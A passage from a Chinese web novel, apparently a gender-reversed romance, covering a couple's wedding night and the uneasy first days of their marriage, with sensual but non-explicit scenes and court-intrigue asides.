旁边的人把女君手上的东西接了过来。 她抬手示意让人把合卺酒端过来,坐在少年旁边。 合卺酒放在李持安眼前,等女君伸手去拿,他才抬手端起来。 两人相对饮酒,酒杯被放下来后,屋内的人慢慢散去。 “累吗?” 他咽着口中有些烈的酒,清透湿润的眼眸盯着女君,下意识撒娇,“女君为何不早点过来。” 他嗅着她身上的酒味,微微蹙眉,还没说什么,就被女君扶起来坐在铜镜前。 这么快吗? 他有些茫然,甚至疑惑。 最先取下来的是花冠。 女人的手指若有若无地抚摸少年的脖颈,甚至擦过他的脸侧。 他有些坐立不安。 女君为什么不说话呢? 不高兴吗? 他这副模样不好看吗? 花冠被取下来,李持安彻底松了一口气。 他下意识抬眸去看女君,猝不及防地,被女人拥在怀里,被亲住。 第55章 第55章大婚2 不知道怎么的,他就被女人抱在怀里。 屋内的红纱慢慢浮动着,遮住了窗户和室外。 他轻轻喘着气,眼尾堆着泪珠,漆黑的眼眸内皆是对女人的依恋。 云竖抬手把他的项链取下来,也把他的耳坠取下来。 怀中的人显然还在还没反应过来,轻轻抿着唇,呆呆地盯着云竖。 云竖取过剪刀,取过他的一缕发丝,剪下来,又剪下她自己的。 她用红丝将两缕发丝缠住,装进香囊里,放在梳妆台上。 “去沐浴吧。”女人的嗓音很平淡。 仿佛刚刚的亲吻不存在一样。 铜镜里,少年被亲得面容潮红,眼睛内盈着泪珠,浑身疲软在女人身上,双臂还搭在女人的肩膀上。 发丝凌乱地披散在身后,只有身上的嫁衣还是正常的。 他有些不解,不解她到底是什么意思。 可到底是刚刚的缘故,李持安没有多想。 只认为是她喝酒的原因,所以情绪不稳定。 侍从陆陆续续进来,将正君带了过去。 他被脱下衣裳,发丝被盘起来,整个身子被乳白的水淹没。 很快地,李持安穿上薄薄的里衣,领口微微敞开着,腰间的带子极细。 轻轻一扯就会断。 侍从将正君的头发放下来仔细梳理后,这才把人扶出去。 他身上带着水汽,面容薄粉,露出的皮肤极艳。 云竖比他早出来,坐在软榻上,有些漫不经心。 李持安走出来,侍从有眼力见地退下,屋门再次合上。 见她不动,只看着自己,李持安慢慢走过去,时不时地注意身上的衣裳有没有散开。 云竖把人揽在怀里,一手摸在他的腰上,一手放在他的手臂上。 “坐了一天,累吗?” 李持安已经闻不到女君身上的酒味了。 他微微红着脸,想着还不开始吗? 屋内的光线晕黄,他主动地亲过去,却被她蒙住了下一半张脸。 她微微敛眸,“你该歇息了。” 他愣了一下,突然被抱起来去往床榻上。 云竖把他放在里侧,将帷幔放下来,又去将蜡烛吹灭。 在床榻上的少年屈起身子,微微攥着身下的被褥,看着她走过来。 她是什么意思? 歇息是什么意思? 他稍微动着,双腿露了出来,肩膀上的衣裳也滑了下来。 在昏黄的灯光下,露出的皮肤泛着光泽,整个人就像是待宰的羔羊,泛着糜烂的气息。 见妻主坐过来,他主动伸手去攥住她的衣袖,声音轻轻地,“妻主……” 他带着委屈,甚至隐隐有些哭腔,惶恐不安,不知道她是什么意思。 是不想与他同房吗? “怎么了?” “妻主明知故问。” 云竖有意无意地抚摸着他伸过来的手臂,眼眸中带着晦涩,“可我累了,听话一点好吗?” 只是这样吗? 随着她躺下来,李持安彻底知道她说的不是假的。 怎么可以这样呢? 大婚夜里,她居然想如此敷衍过去。 他小声说道,“我可以来伺候妻主的。” 说着,他撑着手坐起来,也不在意身上的衣裳如何,伸手解开妻主的衣裳,手指颤抖着。 他俯身去亲妻主的唇角,发丝也散下来,手放在她的手臂上,轻轻地舔舐着,试图引起她的兴趣。 好让接下来的事情让她来掌控。 他羞涩极了,浑身带着粉,眼眸中的湿润几乎能聚成泪掉下来。 他身子很软,软得像棉花一样,贴在女人的腹部,双腿也放在女人的身上。 舌尖轻轻舔舐着她的嘴角,慢慢地,试探性地贴上她的唇,湿滑柔软。 云竖很快将人压在身下,埋在他的脖颈处,粗粗喘着气。 他的双手被女人锁在头顶上,动也动不了,脖颈处的亲吻让他微微偏着头,眼泪很快掉了下来。 敏感的神经让他开始发抖起来,压在自己身上的女人沉重,就像是铁一般,带着灼热,渗入他的肌肤,无刻不闻到她身上的气息。 腰间被掌腹轻轻摩挲着,那里的衣裳褶皱起来,很快散开。 带着薄茧的皮肤摩挲着细腻滑嫩的腰身,他狠狠颤抖了一下,双腿微微屈起,受不了这样的把玩。 很快地,他被亲得浑身无力,任人摆布,眼见着要发生实质性的事情,女人停了下来。 他被女人拢在了怀里,埋在她的衣襟上,而自己身上赤裸,衣裳早不知道跑到了哪里去。 她埋在自己的脖颈处,呼吸很凌乱,明明她也不满足。 为什么不继续下去呢? 李持安说不出话来,也没有力气再做什么。一天的疲倦很快涌上来,他浑身痉挛着,闭着眼睛,低低地喘着气。 云竖轻轻抚摸他的腰身,觉得他的皮肤像是上好的丝绸一般,碰一下就要抖一下,口中就要溢出轻微地颤音。 怀中的人似乎老实下来,任她摸着皮肤。 不过一会儿的功夫,少年舒展开身体,紧紧抱着女人,很快睡了过去,格外疲倦不堪。 女人低眸看着他的模样,什么话也没说,只是抱着他,没再做什么。 翌日。 天微微亮。 屋内昏暗,蜡烛全部熄灭了去。 帷幔很好地遮住了床榻上的人,红纱无风自动。 床榻上的少年睡得很沉,紧紧地黏在女人身上,面上带着潮湿,身上的肌肤被被褥遮得严严实实。 突然,他惊醒过来,身子也 跟着抖动了一下。 意识到这是哪里,他很快安静下来。 他害怕似地埋在女人怀里,低低地呜咽着。 帷幔内还是黑的。 他看不清楚妻主的面容,也不敢去看。 嗅到女人身上的气息,以及被褥里的温暖让他轻轻抱着女人,害怕的神经慢慢放松下来。 他睡不着了,开始思考昨夜是怎么个事情。 是她不行,还是她故意如此。 为什么不与他同房明明手臂上的朱砂都已经被看到了。 大婚夜哪里可以不同房呢? 他轻轻咬唇,越想越委屈,见抱着自己的女人睡得如此沉,竟张口咬在她的脖颈处。 不同与上次,他不敢咬太重,怕她醒过来。 屋内安静极了,李持安开始无聊起来,想要给自己穿上衣裳。 他记得,里衣被女人扔在了地上。 再过一会儿,等人进来,会有人发现昨夜没有同房吗? 会有人特意来检查吗? 他想着想着,双眼阖在一起,很快又睡了过去。 不知道何时,外面出现了动静。 床边突然站了一个人,伸手轻轻推着他。 他睁开眼睛,有些茫然,是淞朱。 “公子,该去敬茶了。”他小声说道。 他看见公子肩膀上露出的吻痕,很快闭上了嘴。 “妻主呢?” 他这才发现床榻上只有他一个人。 “更衣吧。”他嗓音有些哑。 淞朱去取过里衣,先让公子穿上,以免着凉。 被褥离开公子的身上,淞朱很快看到了手臂上的朱砂。 他睁大了眼睛,顾及屏风外还有人,便没有出声询问。 李持安的腰有些酸,他轻轻挪动着身体,小心地下了榻。 洗漱过后,他坐在铜镜前,这时外面传来了声音,低低叫着女君。 他还没转身去看,女人就已经伸手握住了他的腰身。 他顿时软了身子。 云竖看着铜镜里的人,“怎么起来了?不再多睡会儿?” 李持安不大想搭理她,还没跟她算昨日的账。 “母亲她们会在这待几天,随后就会回扬州,父亲也会回去。这几日,你忍一下脾气。”云竖说道。 她把人拉到怀里,低头轻轻地亲了一下他的唇角,眸中带着一丝欲望。 云竖低眸看着怀中娇软的人,不自觉抱紧他的腰身,喉结轻轻滑动着。 凭什么不能要了他的身子呢? 就因为他以后会离开吗怕他以后的妻主会嫌弃他不是个清白之身。 可如今,亲也亲了,摸也摸了,跟清白还有什么关系 娶了一个成过婚的男人,还奢求他还有清白吗?还生下了五个孩子。 云竖慢慢抚摸他的腹部,一会儿轻一会儿重,思索着他大着肚子的模样。 这里会像吹气球一样突然膨胀起来。 “别摸了。”他忍住身体的酸软,匆匆伸手握住腹部的手,有些嗔怪道,“等会儿还要去敬茶。” 他眉眼带着幽怨,很快隐忍下去,清透的眼眸带着湿润柔软,十分好欺负。 见她盯着自己的脖颈,李持安很快知道她想要做什么,只能取过耳坠,佯装着整理。 他心中既气恼又羞愤,恼她昨夜那般,又羞愤她如此动手动脚。 昨夜不那般,今夜再如何也得同房。 否则他嫁进来还是个清白之身,说出去都丢脸。 来年还要被她父亲指责,肚子迟迟没有动静,说他是不下蛋的蚌壳。 他越想越气,睨了旁边的人一眼,恨不得挖了她的心想要知道她在想什么。 匆匆整理好后,他被妻主牵着手,离开了屋内。 他悄悄地看着院子里的摆设,微微抿着红唇,有些好奇。 见快要出了院子,他很快收回了手,又抬手下意识摸了摸发髻,有没有松散,又将耳边散乱的碎发别至耳后。 脖颈处的皮肤被敷了粉,但依旧微微发青,透过白色肌肤可以看到下面青绿的血管,皮肤薄而紧绷。 虽未同房,少年的面容依旧带着春意,眼尾泛着红,薄薄的皮肤上带着粉,格外羞怯。 云竖微微挑眉,没在意他突然这种行为。 穿过长廊,李持安亦步亦趋地跟在妻主身后,开始紧张起来。 他只见过她父亲,听说她母亲还不赞同娶他为正君。 若是之前,他非得闹一通。 到了堂前,李持安见到了屋内的人。 旁边的侍从端来了茶水,不烫不冷,正正好。 第56章 第56章成婚第一日 敬过茶后,李持安微微垂头站在一侧,怯怯地看向站在不远处的妻主。 云父看着他的举止,又看向持安的腹部,想着府上马上就要添新丁。 子漾是喜欢他的,持安的身子看着也是能生养的。 “回去吧。” 云父缓缓说道。 李持安微微抬眼看向云父,盯着他与妻主一模一样的眼睛,罕见地有些心虚。 但这又不是他的错。 他攥紧刚刚从云父手里接来的镯子,微微蹙眉,丝毫没有注意到旁边的几位放在自己身上的目光。 打量,好奇…… 李持安不在意这些,更何况出嫁前就没少被打量。 离开后,李持安跟在妻主身后,走在回廊处,借着回廊挂的纱幔走上前去抓住妻主的袖子。 “妻主等会儿还有事情吗?” 他声音很软。 “没有事情,这三日都在府上。”云竖说道。 李持安抬眸盯着她,漆黑的眼眸内覆盖一层薄薄的泪水,面容带着不安,“那妻主多陪陪我,好不好?” 云竖的衣袖被他慢慢收到手心里,“妻主之前忙,便不来看我,可现在不是无事吗?” “妻主明明知道我只有你了。” 他穿着绯红的衣裳,打扮依旧如同婚前那般繁琐复杂,只是眉宇的神态截然相反。 云竖低眸看着他攥着的衣袖,抬眸看着他这副可怜模样,脑子里想的却是其他。 他还能在这里待多久呢? 什么时候会提出和离呢?看上的又是哪位呢?怎么就和姚妗看上眼了? 她语气轻缓,“我自然会陪着你。” 回廊处很安静,那些侍从都站在不远处,只能听到冷风毫不留情地吹过纱幔的声音。 李持安突然慢慢松了手,袖子掩盖的手指蜷缩着,指尖掐着手心,指节泛白。 怎么会这样呢? 她怎么变了? 四周还留有昨日的浓烈且刺鼻的硫黄味,好似鞭炮声噼里啪啦地响着。 不过是过了一日而已。 难道真如他们所说,得到了就真不珍惜。 “走吧” …… 午后。 屋内的红绸被撤下去,红色的蜡烛也被替换。 只有帷幔和被褥还保留着,婚后三天才换掉。 换了一身衣裳的李持安坐在那,“妻主还在书房” 屋内只有淞朱一人,屋门也被关上,蜡烛也没有点燃,带着昏暗。 “女君的确还在书房。” “她宁愿去看什么书,也不愿意陪着我,之前把我关在那宅院里,拿什么借口敷衍我,明明知道我只有她了。”李持安语气很轻。 “她是不是后悔了?后悔娶我了?” “公子不如去送送点心,去问问女君。”淞朱说道。 李持安沉默了一下,“你去准备点心,等会儿就过去。” 是真嫌弃他的身份了吗? 责怪他给她带了麻烦 他又没有逼着她去娶他。 不过一炷香的功夫,李持安前脚刚拿着点心盒出院子,后脚就听到妻主去了前院打算外出。 听到来人的回话,他面色不变,让人处理了这点心,转身回了院子。 而淞朱派人继续去打听,得到消息后走到门外,就听到里面摔瓷器的声音。 好在只是几秒的时间,外面的人都没有听到。 等里面安静下来,淞朱这才推门进去。 里面昏暗,那些侍从也没有眼力见,像是在观望这位新的正夫到底受不受宠。 看着地上的碎瓷和流在地上的茶水,淞朱放慢脚步绕过屏风,抬眼就看到坐在椅子上的公子,垂着头,看不清神色。 光线突然照射进来,他猛得抬头看过去,漆黑的眼眸直勾勾的,又慢 慢密布着攻击性。 淞朱看了,微微拧眉,觉得公子又跟以往一样。 “奴去问了,女君是突然有事,坐马车去了宫里,女君同管家说,应是傍晚回来。” “翰林那么多官员,有事怎么偏偏找她怕不是她也待不下去,也觉得待在书房无趣。” 他深吸一口气,这不过成婚第一日,他早该知道的。 她从扬州回来,得知他母亲的消息,就这样了。 原以为是久不见,又是婚事变得太过急促,所有东西都需要重新准备一份。 可现在呢?现在总没有事情了。 “公子该忍的,该提前想好后路,该早早怀上子嗣,以免出现意外。”淞朱忍不住劝道。 “奴去给公子找办法,奴听过一些东西的,只要将那些东西寻过来,定能同房,说不定女君就不会这般待公子了。” 淞朱自然知道公子还未与女君同房,那朱砂迟迟未褪,半夜里也没有送水。 里面更是安安静静的。 李持安没有说话,也没有哭,莫名地喘不上气来,使不上劲的手匆匆扒住扶手。 “妻主回来了,就同我说。让我一个人待着。” 他想着,或许只是多想而已,不过是一日而已,往后还有那么多日子,不可能日日猜想。 随着淞朱退出屏风内,他垂下眼眸,睫毛轻轻颤抖着,眼眶很快红了起来,无法制止的胡思乱想让他彻底无法冷静下来。 他捂脸低低哭泣着,肩膀轻轻颤抖,哭泣几不可闻。 他的眉眼很快沾染上愁怨,像是怨夫一般,乌发凌乱地披散着身后,浑身都透着无所适从的慌张和惶恐。 李持安想了很久,很快将现在的状况全部归结于他的身份。 夜里。 他坐在铜镜前梳着长发,穿着里衣,领口处松松垮垮的,露出白皙的脖颈,模样安静。 他起身走到门口,朝外面看了一眼,寂静黑暗,只有长廊处挂着灯笼,不会有人过来。 烛火明暗交织,黄色的晕影落在他脸上,寂静没有任何表情。 如今不如之前冷,夜里也不必时时备着碳火。 甚至有转春的暗示。 外面的侍从见正君出来,走上前去,“正君有什么吩咐吗?” “去换一壶热茶来。”他嗓音带着冷,又有些哑。 见的确无人来,李持安又进了屋。 他攥着自己的衣袖,想着这的确没什么。 只当是她在庇护自己,只当是尽情分而已。 当初也是母亲逼她,他在逼她,完全不是她乐意娶自己。 没有悔婚,没有放下他不管,不管他死活,也没有趁机欺辱他,也已经很不错了。 那之前呢?都是装的吗? 绕过屏风,他看着床榻上大红色的被褥,想着明日让人换了,如今看着真是讽刺,甚至刺眼。 府外。 马车停了下来。 云竖进了府,身上还穿着官服,眉眼还带着夜里的冷意。 管家迎了过来。 “女君要去正君那吗?” 云竖顿了顿,想到这才成婚第一日,也的确该去他屋内。 也该等母亲她们离开,免得来敲打他。 她没问正君有没有睡下,只是先去换下了身上的衣裳。 夜越来越深,侍从们都纷纷回了屋。 云竖披着外袍,身上带着水汽,玉色的面容在夜里显得越发凉薄,透着冷意,也无生气。 正君的院子里,大门已经关了。 跟在云竖身后的侍从上前敲了敲门,里面的人很快打开,见是女君,面露惶恐。 云竖进了长廊,便见到屋内已经熄了灯,只有外面还挂着被风吹斜的灯笼。 她让那些侍从下去,推开门熟稔地点燃蜡烛。 眼前的一切慢慢亮了起来。 云竖绕过屏风,就见到跪坐在毛毯上的人,埋在软榻上,发丝披散在身后,穿得极薄。 屋内也没有让人点起碳火,就这样待上一夜,他这样的身子定然要着凉。 她微微蹙眉,缓步走过去俯身把人抱起来。 他身上的衣裳带着凉意,手脚已经冷了。 好在脸上还未发烫。 刚抱起他,怀中的软香绕在鼻尖钻进喉咙里,潮湿缓慢的呼气缠上她的脖颈。 他的呼气轻轻的,带着潮湿和温软,跟他的身子一样,像是包容的春水一般,韧性极好。 云竖把他放在床榻上,扯过被褥盖在他身上,低眸静静看着他的模样。 她俯身端看着,伸手摸了摸他的面容,指腹轻轻捻着他的发丝。 接着,她的目光停留在他的脖颈处,那处的吻痕似乎已经没了,白日里敷粉掩盖,夜里却消失得干干净净。 那处皮肤薄薄的,透着温软,伸手覆上前就能圈住他的脖颈,稍稍一折他就会没了生命。 她想着,如果他死了,是不是她也能回去。 如今的他的确跟书里的那般,家道中落,无权无势,任人欺凌,连府上的侍从都能欺负他,开始不待见这位新正君。 云竖低头亲了亲他的脖颈,怀中的人很快呜咽起来,似乎不舒服。 她将身上的外袍扔在地上,上了榻,把人慢慢拘在自己怀里,双手拢着他的腰身。 怀中的人自觉朝有热气的地方靠拢,埋在她的怀里睡着,面容安静。 她轻轻抚摸着他的腰身,手指探进他的里衣内,那里细细的,皮肤极为滑腻。 怀中的人轻轻抖着,轻轻呜咽了一下。 他被被褥包裹的很好,只有头发丝露了出来,身子又被女人摆弄着,整个人都被她抱在怀里,动弹不得。 像是哭累了,或是睡得太沉,被亲着脖颈被亲着锁骨也迟迟无法醒过来。 慢慢地,他身上慢慢热了起来,开始想要离开这个热炉,想要翻身躲开。 身上的里衣变得很是凌乱,脱离了肩膀,堆在腰处。 云竖不在意他会不会醒来,即便醒来,他也没有什么力气。 翌日。 这是成婚的第二日。 李持安撑着手从床榻上坐起来,身上的衣裳有些褶皱,甚至觉得腰身有些不舒服。 他呆呆地盯着帷幔内,不知道何时上了床。 他的眼睛有些浮肿,甚至酸涩。 只有他一个人。 床榻上只有他一个人。 她昨夜回来了吗? 第57章 第57章除了亲还能做什么?…… 他起身站起来,露出纤细的腰身,抬手轻轻拨弄耳边的头发,眉眼柔和。 露出白皙的手臂,映衬着青丝,更是美艳。 他扯了扯身上变得松垮的里衣,觉得这件衣裳实在太过不雅,也没有必要再继续穿这种里衣。 青丝披散在身后,白净的面容格外素净。 他坐在铜镜前,看着铜镜里的自己,抬手揉了揉自己眉间,觉得浑身疲乏酸软,脑子发胀。 衣袖堆积在手臂处,露出雪白的肌肤来,上面带着红印。 他想让人进来,想要出声,却发现嗓子哑了。 他顿了顿,垂下眼眸,睫毛轻轻颤抖着。 生病了吗? 这时淞朱敲了敲门,等了一会儿就开门走了进来。 只 有他一人进来。 见公子已经坐在铜镜前,面色有些苍白,淞朱连忙取过外袍披在公子身上。 “公子起来了,怎么不唤下人进来。” 淞朱自觉接过公子手上的梳子,“今早上,女君斥责了院子里的侍从,说他们没用,不好好照顾正君,还将他们都换了。” “听说,女君是夜里回来的,公子知道吗?” 青丝很快变得柔顺起来。 他盯着铜镜里的自己,知道不知道有什么用呢? 她连等他一起起来都不肯。 他刚刚起来,那边躺的地方都是凉的。 他甚至不知道她昨日是什么时候回来的。 他轻轻咳嗽了一下,“等会儿煎副药来,不用请大夫。” “公子,哪里不舒服”淞朱顿了顿手,“奴去告诉女君,女君会来看公子的。” 李持安怎么可能到现在还不知道妻主是什么意思。 谁家新婚第二日,如同婚后第二年。 本该新婚这几日,该如同雨后粘在地上的柳絮一般,难以分离地黏在一块。 他嗓音夹着冷意,“不用告诉她。” 喝一副药就会好而已。 淞朱欲言又止,还是没说什么。 公子的脾性还是这般,如今嫁人了,怎么可以由着自己的性子,女君说个女人,自然跟那些女人一样,喜欢柔顺听话的男子。 公子多凑到女君身边,放低点姿态,女君自然会怜惜公子。 更何况,公子这般好颜色,京都又有几个人比得了。 哪个女人不喜欢好颜色。 …… 书房内。 云竖坐在那,苘敷正要端着茶水进来,就见到正君院子里的淞朱。 他轻轻抬眸,打量着淞朱,想着那位终于忍耐不住来请人了。 “正君夜里得了风寒,女君去看看吧。” 淞朱站在书房外,朝里面说道。 他一边说着,一边打量眼前这位侍从。 女人从屋内走出来,“请大夫了吗?” “还没。” “去请大夫过来。”她微微蹙眉。 她出了屋内,直接往后院而去。 此时正来寻她的云父看着她往后院的方向过去,有些疑惑。 疑惑她本不该待在这里,疑惑她不是心心念念要娶那个人吗?怎么娶了之后反而冷待呢? 云父想着,要不要让持安过来一趟,问问清楚 “主君,等会儿再来吗?”旁边的侍从说道。 主君本就后天离开,毕竟主家的事情还没有忙完,不是今天,就是明日去寻女君。 后院。 云竖刚推开门,就嗅到了淡淡的药味。 屋内也没有点起蜡烛,窗户也没有打开。 是昨夜着凉了吗? “是谁?”里屋传来了细弱的声音,带着惊疑。 绕过屏风。 云竖看到倚靠在软榻上的人,膝盖上盖着毛毯,模样很安静。 他抬起头来望过去,一袭素净的衣袍,乌黑的发丝垂散在身后,细腻白皙薄薄的面容就像是玉雕的一般。 他脸色有些不大好,漆黑的眼眸带着惊疑,似乎害怕看到她。 “妻主……” 对于眼前走近的女人,他勉强地微笑, 他面上不自觉浮现讨好的神情,漂亮的眼睛紧紧盯着她,呼吸都放轻了,声音也越发柔,“妻主是累了吗?” 云竖俯身伸手贴在他的额前,他愣了愣,面上很快露出委屈的神色。 不是很烫。 “以后不要像昨夜那般坐在地上。”女人的声音有些温和,听起来脾气很好。 李持安抬手攥住她腰间的衣裳,让她坐下来,自己扑在她怀里。 他趴在她的身上,柔若无骨的双手勾着她的脖颈,很是不安地缩在她的怀里,乌黑柔顺的长发渗入到他的衣裳里,柔腻的肌肤雪白美艳,漂亮的眼睛水润润的。 接着,他扬起头来,质问她,“妻主为何这般对我” 云竖抱着他,他身上的衣裳也薄薄的,放在他的腰上,能够感受到里面柔软的**,浑身上下又散发着可怜茫然不知所措的信号。 “是嫌弃我了吗?” 他问得平淡,带着疲倦。 云竖没说话,只是垂眸盯着怀中的人,很久才说话,“嫁给我,是迫不得已的选择吗?再给你一点时间,你还会嫁给我吗?若是碰到喜欢的人,你会同我和离吗?” 李持安微微蹙眉,觉得她这个话简直是荒唐。 哪里有二嫁的男子除非尚且年轻,妻主还早逝。 李持安越想越气,浑身发抖,张嘴就咬住她的锁骨,眼泪簌簌地流下来,打湿她的衣襟。 “我为何要嫁给别人” 他抬手粗暴地擦了擦自己的眼泪,那块薄嫩的表层被抹得通红。 “你为何要如此想我现在就想着与我和离吗?” 他无声地哭着,时不时哽咽一下,眼泪好像多得流不完一样。 含怨的眼眸盯着她,也不说话,浑身软绵绵地,眼泪嗒嗒地就落下来。 她抬手擦拭他的眼泪,又把人固得牢牢地,忍不住想起他可能最后会是别人的夫郎。 “别哭了。”她安抚道。 云竖低头轻轻亲了亲他,他轻轻呜咽着,潮热的眼睛缓慢眨着。 浑然是可怜怨夫的模样,只知道哭,好似只能把委屈嚼碎了咽在肚子里,跟其他男子没什么不同,一样会受到妻主的嫌弃,一样会怨念不安,一样担心这担心那,哪里还有之前端庄稳重的贵子模样。 怎么会是什么男主呢?明明只是一个长得漂亮的男人而已。 云竖轻轻揉捏着他的腰,细细盯着他这副模样,又想到他可能会在别的女人面前露出这副闺房内的柔媚。 可她是他的妻主,亲他抱他更是再合理的事情,凭什么她要顾虑后面可能的事情呢? 顾虑他改嫁没了清白被那人嫌弃刁难 云竖知道,他责怪她太过冷淡,责怪她不陪着他。那她怎么陪他呢?一看到他,脑子里想的都是其他。 不如离开,不如把他关在宅院里,不让他见其他外人。 他也的的确确待在屋内,很是老实,甚至都不与旁人多说几句。 屋内很快安静下来。 他冷静下来,觉得自己这般模样颇为下贱,又觉得自己可怜。 “你不必如此胡思乱想,我不会抛弃你,也不会苛待你,你想要什么,我都会给你,你只需要待在后宅就好。” 她说道。 可李持安听着她胸腔下心跳的声音,那里跳得很快,并不如她的声音那般冷静。 那孩子呢?如果他想要孩子呢? 他抿唇不语,手指微微蜷缩。 她不给他,他自然得想方设法。 这一下午,云竖没有离开屋内。 她坐在屋内看书,而李持安则是起身去沐浴。 沐浴后,他也是安静地待在那绣着东西。 夜里。 他凑近她,没有责怪她这两日的冷待,而是贤惠地取下她的外衫。 他穿得很轻薄。 随着屋内的蜡烛被熄灭,只剩下床榻边的蜡烛还在燃烧着。 两人躺在床榻上,李持安突然闹着身体不舒服。 云竖轻碰着他肩上的肌肤,手心滚烫,觉得他的肌肤太过滑腻。 她顺着他的话帮他揉腰,又是揉腿。 少年轻喘着气搭在她的肩膀上,衣裳几乎要掉落下来,眉眼柔媚绯红,水润地盯着她。 像妖精一般,浑身冒着软香。 她很快意识到他到底在不满什么,不满她不碰他。 她就像是养胃的丈夫一般看着怀中娇媚年轻的妻子,有心无力,只能默默地绕开话题。 看着他这副模样,云竖不自觉紧了喉咙,浑身发烫,慢慢握紧了他的脚和小腿,俯身靠过去,眼眸沉沉地盯着他。 “妻主”他不满地小声道,“疼。” 帷幔之间,少年坐在被褥上,透着水蜜桃一般的气息,那抹白亮得刺眼。 很快地,他像是意识到她不会继续做什么,微微咬着下唇,也不再继续装下去,埋在她的脖颈咬了她一口。 明明她身上烫得很,活像是要吞 了他一般,为什么不碰他 他直白道,“为什么不碰我还嫌弃我不成?” 明明她之前后院一堆的侍夫,他还没说什么。 “若这样,你还娶我做什么?屋内是还少个花瓶吗?”他双手攀上她的脖颈,身子贴紧她,直言道,“若这般,你休弃我,娶个喜欢的夫郎,免得你没了子嗣。” “休弃”她意味不明地重复这两个字。 听到她这个语气,他心里不由地紧了一下,轻抿着唇,想着她不会真要答应。 她压低了声音,带着焦躁和狠厉,“你想都不要想。” 屋内昏黄,两人的身影印在屏风上,外面也非常安静。 李持做猝不及防被亲住,险些没了力气,只低声轻轻喘着埋在她的脖颈,面容潮热柔软。 他被按在床榻上,身上的人埋在自己的脖颈处亲,甚至摸着自己的腰身。 李持安歪着头,被亲得浑身没力。 他攥着她肩膀上的衣裳,双腿不自觉地挪动着,又是如此。 除了亲还能做什么? 第58章 第58章李持安没由来得很饿。(…… 三日过去。 云父来了她的书房内。 没待上一炷香的时间就从书房内离开。 他告诉她,没有哪个男子不会为子嗣妥协,若她顾及什么,该早早让他怀上孩子。 …… 翰林院内。 “感觉怎么样?” 薛棋打开窗户,让风吹进来,侧身去问坐在那写字的人。 “我之前娶夫时,也不太想来,后面还差点吵起来,说我总是待在翰林。”薛棋一边想着,一边说道,“现在好了,夫郎去了祖宅那边,现在连吵架都省了。” 云竖抬眼看向打开的窗户,“还好。” “你回来的巧,明日圣上举办宴席,再过几日就是春猎,你可以带着你夫郎,让他去瞧瞧。” “宴席所有官员都参加吗?” 现在没有人敢举办宴席,前段时间一大批的世族被切割,大半官员都不敢做什么,除了日常的早朝和事务,一律待在自己的住处。 “应该是,反正你我肯定要参加。”薛琪说道,“不是调上来了很多官员吗?大家总得熟悉熟悉。” 她看着眼前坐着还握着毛笔的人,之前那件事似乎对她没有什么影响,该娶夫的娶夫,还把她岳母调到了一个好地方,说是流放不如说是提前辞职养老。 旁人之前都在等她的笑话,笑话她的靠山塌了,塌得彻彻底底,还被圣上厌恶,前几日却踩在大家都禁讳的事情上把人给娶了,一点也不避讳。 虽说现在还待在翰林,职务上没有任何变化,薛琪总感觉她背地里做了什么。 “我知道了。” “你知道什么,一些人可等着你请她们去喝酒。”薛棋冷不丁地说道。 “今早上,魏野和昭鹤怎么没有来”云竖转开话题。 “谁知道,之前闹了那些事,怎么可能还来这里待着,待了也坐不住。” “那明日还能见到她们吗?”云竖继续问道。 薛棋一边走到自己的办公处,一边看她,“不知道。” “我觉得会来。”云竖猜测道,“不来,圣上更有理由继续追究了。” “你不担心自己吗?”薛棋忍不住问道。 外面天色很好,风也轻轻地。 屋内只有她们两个人,里面都是卷案,桌子上甚至有些乱。 “担心我又没犯错。”云竖说道,“我若要担心,回京都的第一天就该担心。圣上既没有责怪我,我便不需要去想那些。” “等会儿她们过来,你同她们说吧,我让人去酒楼订包厢,等会儿我要去教书,可能等不到她们。”云竖轻缓说道。 晚上。 云竖回来时,身上还带着淡淡的酒味。 沐浴后,云竖才去了李持安的院子里。 他已经换好了寝衣,见妻主来,就主动脱去了她的外衫。 “今早上,我去送母亲她们了,已经坐上船离开了。”李持安软声说道。 “……父亲还送给了我一个玉桃子,让侍身好好照顾妻主。”他将她的外衫折好,又给妻主倒了一杯茶,主动站在她后面,抬手放在她的肩膀上,给她揉肩。 父亲还说,妻主之前就见过他,回来之后更是念念不忘,因此才去了书院。 屋里更是放了他的小像。 他微微抿唇,眼眸带着笑,模样很贤惠,似乎之前连日的哭泣已经不见了,现在只明里暗里地提示她,府上该有一个孩子。 他不着痕迹地看向熏香炉里,里面放了一点香料,虽说效果不大,却起码有点效果。 云竖听到他的暗示,又注意到他有些心不在焉,肩膀上的手更是敷衍了事,慢慢交拢在她的衣襟处。 他凑到她耳边,尾音微微上扬,“妻主不喜欢孩子吗?” “侍身之前就问过了大夫,说侍身身子很好,很适合孕子。” 他没在意之前为什么没有同房,已经无所谓了,不过是早和晚的问题,反**上只有他一个人,虽说可能有一些没眼力见的侍从痴心妄想,但也越不过他。 云竖不知道不过是一天的时间,他像是突然变了一个人。 眼前的烛火跳跃着,视线并不清晰。 她顿了顿,嗓子有些哑,“不急于这些。” 李持安默了一下,妻主如今已然20,不急于这些那急于什么? 哪家女君这般年纪还未有子嗣,甚至还会走路了。 他如今也有16,再过两年,年纪便大了。 比他大两岁的人都已经有了两个孩子。 今年父亲不会催他怀上孩子,明年便会明里暗里说他,甚至还会暗示他给妻主纳侍。 “不急”他尾音微微上扬,“那什么急” 云竖抬手轻轻把人从身后扯到身前,让他坐在自己的腿上,转移话题,“几日后有春猎,你想去吗?” 如此僵硬的转移,甚至不回他的话,李持安微微蹙眉,面上带着微恼。 他看向香炉,又抬眼细细打量妻主,且发现没有什么影响。 他埋在她的脖颈,轻轻嗅了嗅,还有一点酒味。 她为何如此冷静。 他突然笑了笑,“那妻主之前承偌我处理好芜衣的事情,处理好了吗?人不会还待在扬州,等妻主回去了吧?” 不会已经怀上了孩子,已经在扬州养胎,如今才不急于要孩子 “已然送走。”她回道。 “那妻主旁边的苘敷呢?” “只是侍从。” “侍身要他来伺候我。”他继续说道。 “……好。”虽是不知道为什么,云竖并不在意这个。 他说什么,云竖就应什么。 等夜色渐渐深,李持安身上也越来越凉,被握住的手迟迟暖不热。 见今日不会有什么结果,他只靠在她怀里,声音轻轻地,“我累了,想睡觉了。” 云竖把他抱起来走向床榻,放下帷幔,又剪了灯芯。 刚躺下,怀中就钻进了一个人。 …… 这日宴会,来了很多人。 红砖白瓷,官员站在阶梯上,听着圣上的话。 云竖看到了很多生面孔,目光很快聚集到了新上任的礼部尚书。 她出身寒门,已然是中年,之前一直被外派他地,去年冬日才被调回来。 宴席一如之前那般,没有什么新出的花样。 